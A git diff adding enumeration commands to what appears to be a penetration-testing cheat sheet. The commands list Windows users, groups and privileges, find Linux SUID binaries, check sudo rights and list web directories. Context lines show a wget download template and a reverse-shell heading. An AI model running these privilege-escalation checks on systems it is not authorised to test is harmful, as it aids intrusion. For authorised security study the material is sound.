diff --git a/README.md b/README.md index a124f28..c2097f4 100644 --- a/README.md +++ b/README.md @@ -407,6 +407,24 @@ wget http://{IP ADDRESS}/{FILE} -outfile {FILE}
+```bash +# Enumeration + +# CMD +net users %username% #Me +net users #All local users +net localgroup #Groups +net localgroup Administrators #Who is inside Administrators group +whoami /all #Check the privileges + +# PS +Get-WmiObject -Class Win32_UserAccount +Get-LocalUser | ft Name,Enabled,LastLogon +Get-ChildItem C:\Users -Force | select Name +Get-LocalGroupMember Administrators | ft Name, PrincipalSource +``` +
+ ## Linux - Linpeas
@@ -417,6 +435,22 @@ wget http://{IP ADDRESS}/{FILE} -outfile {FILE}
+```bash + +#Check commands you can execute with sudo +sudo -l + + #Find all SUID binaries +find / -perm -4000 2>/dev/null + +# Web files +ls -alhR /var/www/ 2>/dev/null +ls -alhR /srv/www/htdocs/ 2>/dev/null +ls -alhR /usr/local/www/apache22/data/ +ls -alhR /opt/lampp/htdocs/ 2>/dev/null +``` +
+ # Reverse Shell ## NC Listen - Client [STEP 1]